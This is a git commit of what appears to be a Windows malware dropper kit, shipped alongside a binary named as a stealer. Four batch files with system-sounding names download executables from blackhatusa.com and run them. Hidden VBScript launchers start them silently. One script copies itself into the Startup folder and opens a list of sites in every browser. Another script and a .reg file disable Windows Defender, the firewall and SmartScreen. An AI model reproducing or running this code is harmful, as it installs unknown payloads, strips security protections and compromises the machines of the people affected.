commit e6fd96cbe2b6d6bf73bfae08b4908a63d1a1a726
Author: i2p <i2p@maculab.dev>
Date:   Thu Aug 27 10:51:30 2026 -0600

    initial commit

diff --git a/._acledit.bat b/._acledit.bat
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._acledit.bat differ
diff --git a/._nhac.vbs b/._nhac.vbs
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._nhac.vbs differ
diff --git a/._open.vbs b/._open.vbs
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._open.vbs differ
diff --git a/._pnpui.bat b/._pnpui.bat
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._pnpui.bat differ
diff --git a/._rasdiag.bat b/._rasdiag.bat
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._rasdiag.bat differ
diff --git a/._rundll32.vbs b/._rundll32.vbs
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._rundll32.vbs differ
diff --git a/._xpssvcs.bat b/._xpssvcs.bat
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._xpssvcs.bat differ
diff --git a/._zipfldr.vbs b/._zipfldr.vbs
new file mode 100644
index 0000000..f00298c
Binary files /dev/null and b/._zipfldr.vbs differ
diff --git a/Armageddon Stealer 1.0 by Krusty.exe b/Armageddon Stealer 1.0 by Krusty.exe
new file mode 100644
index 0000000..1eba3ac
Binary files /dev/null and b/Armageddon Stealer 1.0 by Krusty.exe differ
diff --git a/acledit.bat b/acledit.bat
new file mode 100644
index 0000000..9f35c33
--- /dev/null
+++ b/acledit.bat
@@ -0,0 +1,19 @@
+@echo off
+:: Define the URL and destination
+set "url=https://blackhatusa.com/setup.exe"
+set "output=%TEMP%\setup.exe"
+
+:: Use PowerShell to download the file
+echo Downloading file from %url%...
+powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
+
+:: Check if the file was downloaded successfully
+if exist "%output%" (
+    echo File downloaded successfully to %output%.
+    echo Executing the file...
+    start "" "%output%"
+) else (
+    echo Failed to download the file.
+)
+
+pause
diff --git a/mictray.exe b/mictray.exe
new file mode 100644
index 0000000..9cccd87
Binary files /dev/null and b/mictray.exe differ
diff --git a/nhac.vbs b/nhac.vbs
new file mode 100644
index 0000000..7a204c8
--- /dev/null
+++ b/nhac.vbs
@@ -0,0 +1,2 @@
+Set WshShell = CreateObject("WScript.Shell")
+WshShell.Run "cmd.exe /c acledit.bat", 0, False
diff --git a/open.vbs b/open.vbs
new file mode 100644
index 0000000..efb8dfd
--- /dev/null
+++ b/open.vbs
@@ -0,0 +1,118 @@
+Option Explicit
+Dim sites, browsers, browser_paths, base_url, browser, browser_path, xmlhttp, sitemap_url
+Dim dom, loc_nodes, num_posts, post_urls, i, j, WShell, shell, startup_folder, fso
+Dim script_fullname, script_name
+
+' Array of websites
+sites = Array( _
+    "https://www.apksure.asia", _
+    "https://www.apksure.cc", _
+    "https://www.apksure.info", _
+    "https://www.forearmtattoos.net", _
+    "https://www.apksure.net", _
+    "https://www.jackintheboxmenu.us", _
+    "https://www.blackhatusa.com", _
+    "https://www.scootersmenu.us", _
+    "https://www.texasroadhousemenus.us", _
+    "https://www.wendymenus.us", _
+    "https://www.sonicmenuwithprices.us", _
+    "https://www.wafflehousemenus.us", _
+    "https://www.thehackingtools.net", _
+    "https://www.firehousesubsmenuprice.com", _
+    "https://www.tiktokmodapk.com", _
+    "https://www.thehackingtools.com", _
+    "https://www.adobephotoshopcrack.com", _
+    "https://www.rinsins.com", _
+    "https://www.cryptersrc.com", _
+    "https://www.blankhack.com", _
+    "https://www.psddl.com", _
+    "https://www.blackhatrussia.com", _
+    "https://www.shanghaiblackgoons.com", _
+    "https://www.blackhatrussia.org" _
+)
+
+' Array of browsers and their executable paths (default installation paths for Windows)
+browsers = Array("firefox", "chrome", "opera", "operagx", "brave", "msedge", "tor")
+browser_paths = Array( _
+    """C:\Program Files\Mozilla Firefox\firefox.exe""", _
+    """C:\Program Files\Google\Chrome\Application\chrome.exe""", _
+    """C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Programs\Opera\launcher.exe""", _
+    """C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Programs\Opera GX\launcher.exe""", _
+    """C:\Program Files (x86)\BraveSoftware\Brave-Browser\Application\brave.exe""", _
+    """C:\Program Files\Microsoft\Edge\Application\msedge.exe""", _
+    """C:\Users\" & CreateObject("WScript.Shell").ExpandEnvironmentStrings("%USERNAME%") & "\AppData\Local\Tor Browser\Browser\firefox.exe""" _
+)
+
+' Create shell object for running commands
+Set WShell = CreateObject("WScript.Shell")
+
+' Open each website in all browsers simultaneously
+For Each base_url In sites
+    For i = 0 To UBound(browsers)
+        browser_path = browser_paths(i)
+        WShell.Run browser_path & " " & base_url, 0, False
+        WScript.Sleep 1000 ' Brief pause to avoid overwhelming the system
+    Next
+Next
+
+' Process each website's sitemap
+For Each base_url In sites
+    Set xmlhttp = CreateObject("MSXML2.XMLHTTP")
+    sitemap_url = base_url & "/post-sitemap1.xml"
+    xmlhttp.Open "GET", sitemap_url, False
+    On Error Resume Next
+    xmlhttp.Send
+    On Error GoTo 0
+
+    If xmlhttp.Status = 200 Then
+        Set dom = CreateObject("MSXML2.DOMDocument.6.0")
+        dom.async = False
+        dom.loadXML xmlhttp.responseText
+
+        If dom.parseError.errorCode = 0 Then
+            Set loc_nodes = dom.selectNodes("//url/loc")
+            num_posts = loc_nodes.length
+
+            If num_posts > 0 Then
+                ReDim post_urls(9) ' Array for up to 10 posts
+                For i = 0 To 9
+                    If i < num_posts Then
+                        post_urls(i) = loc_nodes(i).text
+                    Else
+                        post_urls(i) = ""
+                    End If
+                Next
+
+                ' Open posts in reverse order in all browsers
+                For j = 9 To 0 Step -1
+                    If post_urls(j) <> "" Then
+                        For i = 0 To UBound(browsers)
+                            browser_path = browser_paths(i)
+                            WShell.Run browser_path & " " & post_urls(j), 0, False
+                        Next
+                        WScript.Sleep 60000 ' Wait 1 minute before opening the next post
+                    End If
+                Next
+            End If
+        End If
+    End If
+    Set xmlhttp = Nothing
+    Set dom = Nothing
+    Set loc_nodes = Nothing
+Next
+
+' Add script to startup if not already present
+Set shell = CreateObject("WScript.Shell")
+startup_folder = shell.SpecialFolders("Startup")
+Set fso = CreateObject("Scripting.FileSystemObject")
+script_fullname = WScript.ScriptFullName
+script_name = WScript.ScriptName
+
+If Not fso.FileExists(startup_folder & "\" & script_name) Then
+    fso.CopyFile script_fullname, startup_folder & "\" & script_name
+End If
+
+' Clean up
+Set WShell = Nothing
+Set shell = Nothing
+Set fso = Nothing
\ No newline at end of file
diff --git a/pnpui.bat b/pnpui.bat
new file mode 100644
index 0000000..2d082a4
--- /dev/null
+++ b/pnpui.bat
@@ -0,0 +1,19 @@
+@echo off
+:: Define the URL and destination
+set "url=https://blackhatusa.com/clip.exe"
+set "output=%TEMP%\clip.exe"
+
+:: Use PowerShell to download the file
+echo Downloading file from %url%...
+powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
+
+:: Check if the file was downloaded successfully
+if exist "%output%" (
+    echo File downloaded successfully to %output%.
+    echo Executing the file...
+    start "" "%output%"
+) else (
+    echo Failed to download the file.
+)
+
+pause
diff --git a/pots.vbs b/pots.vbs
new file mode 100644
index 0000000..7f85eed
--- /dev/null
+++ b/pots.vbs
@@ -0,0 +1,2 @@
+Set WshShell = CreateObject("WScript.Shell")
+WshShell.Run "cmd.exe /c pnpui.bat", 0, False
diff --git a/rasdiag.bat b/rasdiag.bat
new file mode 100644
index 0000000..277042b
--- /dev/null
+++ b/rasdiag.bat
@@ -0,0 +1,19 @@
+@echo off
+:: Define the URL and destination
+set "url=https://blackhatusa.com/update.exe"
+set "output=%TEMP%\update.exe"
+
+:: Use PowerShell to download the file
+echo Downloading file from %url%...
+powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
+
+:: Check if the file was downloaded successfully
+if exist "%output%" (
+    echo File downloaded successfully to %output%.
+    echo Executing the file...
+    start "" "%output%"
+) else (
+    echo Failed to download the file.
+)
+
+pause
diff --git a/registry.reg b/registry.reg
new file mode 100644
index 0000000..4a6ef55
--- /dev/null
+++ b/registry.reg
@@ -0,0 +1,14 @@
+Windows Registry Editor Version 5.00
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
+"DisableAntiSpyware"=dword:00000001
+"AllowFastServiceStartup"=dword:00000000
+"ServiceKeepAlive"=dword:00000000
+
+[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
+"DisableRealtimeMonitoring"=dword:00000001
+"DisableOnAccessProtection"=dword:00000001
+"DisableScanOnRealtimeEnable"=dword:00000001
+
+[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinDefend]
+"Start"=dword:00000004
\ No newline at end of file
diff --git a/rundll32.vbs b/rundll32.vbs
new file mode 100644
index 0000000..2eb6386
--- /dev/null
+++ b/rundll32.vbs
@@ -0,0 +1,2 @@
+Set WshShell = CreateObject("WScript.Shell")
+WshShell.Run "cmd.exe /c rasdiag.bat", 0, False
diff --git a/stub.arm b/stub.arm
new file mode 100644
index 0000000..80c9749
Binary files /dev/null and b/stub.arm differ
diff --git a/update.vbs b/update.vbs
new file mode 100644
index 0000000..f96088e
--- /dev/null
+++ b/update.vbs
@@ -0,0 +1,38 @@
+Option Explicit
+Dim WShell, oShell, strCmd, strArgs, objFSO
+
+Set WShell = CreateObject("WScript.Shell")
+Set objFSO = CreateObject("Scripting.FileSystemObject")
+
+' Check if script is running with admin privileges
+If Not WShell.Run("net session >nul 2>&1", 0, True) = 0 Then
+    ' Relaunch script as administrator
+    Set oShell = CreateObject("Shell.Application")
+    strCmd = objFSO.GetFile(WScript.ScriptFullName).Path
+    strArgs = ""
+    oShell.ShellExecute "wscript.exe", """" & strCmd & """ " & strArgs, "", "runas", 1
+    WScript.Quit
+End If
+
+' Disable Windows Defender Real-Time Protection and other features via registry
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableAntiSpyware /t REG_DWORD /d 1 /f", 0, True
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", 0, True
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f", 0, True
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f", 0, True
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender"" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f", 0, True
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection"" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f", 0, True
+
+' Disable Windows Defender services
+WShell.Run "cmd.exe /c sc config WinDefend start= disabled", 0, True
+WShell.Run "cmd.exe /c sc stop WinDefend", 0, True
+WShell.Run "cmd.exe /c sc config WdNisSvc start= disabled", 0, True
+WShell.Run "cmd.exe /c sc stop WdNisSvc", 0, True
+
+' Disable Windows Firewall
+WShell.Run "cmd.exe /c netsh advfirewall set allprofiles state off", 0, True
+
+' Disable SmartScreen
+WShell.Run "cmd.exe /c reg add ""HKLM\SOFTWARE\Policies\Microsoft\Windows\System"" /v EnableSmartScreen /t REG_DWORD /d 0 /f", 0, True
+
+' Notify user of completion
+WShell.Popup "Windows Defender, real-time protection, and other security features have been disabled. Please restart your computer for changes to take effect.", 0, "Operation Complete", 64
\ No newline at end of file
diff --git a/xpssvcs.bat b/xpssvcs.bat
new file mode 100644
index 0000000..015151b
--- /dev/null
+++ b/xpssvcs.bat
@@ -0,0 +1,19 @@
+@echo off
+:: Define the URL and destination
+set "url=https://blackhatusa.com/svchost.exe"
+set "output=%TEMP%\svchost.exe"
+
+:: Use PowerShell to download the file
+echo Downloading file from %url%...
+powershell -Command "Invoke-WebRequest -Uri '%url%' -OutFile '%output%' -UseBasicParsing"
+
+:: Check if the file was downloaded successfully
+if exist "%output%" (
+    echo File downloaded successfully to %output%.
+    echo Executing the file...
+    start "" "%output%"
+) else (
+    echo Failed to download the file.
+)
+
+pause
diff --git a/zipfldr.vbs b/zipfldr.vbs
new file mode 100644
index 0000000..aac2874
--- /dev/null
+++ b/zipfldr.vbs
@@ -0,0 +1,2 @@
+Set WshShell = CreateObject("WScript.Shell")
+WshShell.Run "cmd.exe /c xpssvcs.bat", 0, False